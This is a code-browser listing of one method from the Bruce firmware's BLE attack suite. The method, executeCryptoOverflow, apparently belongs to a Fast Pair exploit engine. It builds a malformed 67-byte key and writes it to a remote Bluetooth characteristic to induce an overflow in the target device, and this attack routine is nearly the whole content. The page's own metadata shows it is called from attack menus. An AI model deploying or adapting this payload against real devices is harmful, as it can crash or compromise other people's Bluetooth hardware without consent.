MCPcopy Create free account
hub / github.com/BruceDevices/firmware / executeCryptoOverflow

Method executeCryptoOverflow

src/modules/ble/BLE_Suite.cpp:3327–3339  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

3325}
3326
3327bool FastPairExploitEngine::executeCryptoOverflow(NimBLERemoteCharacteristic *pChar) {
3328 showAttackProgress("Executing crypto overflow...", TFT_ORANGE);
3329
3330 uint8_t malformedKey[67] = {0};
3331 malformedKey[0] = 0x00;
3332 malformedKey[1] = 0x00;
3333 malformedKey[2] = 0x04;
3334 for (int i = 3; i < 67; i++) malformedKey[i] = (i % 2 == 0) ? 0xFF : 0x00;
3335
3336 bool result = pChar->writeValue(malformedKey, sizeof(malformedKey), true);
3337 delay(100);
3338 return result;
3339}
3340
3341bool FastPairExploitEngine::executeHandshakeFault(NimBLERemoteCharacteristic *pChar) {
3342 showAttackProgress("Executing handshake fault...", TFT_CYAN);

Callers 2

showFastPairSubMenuFunction · 0.80
showMemorySubMenuFunction · 0.80

Calls 1

showAttackProgressFunction · 0.85

Tested by

no test coverage detected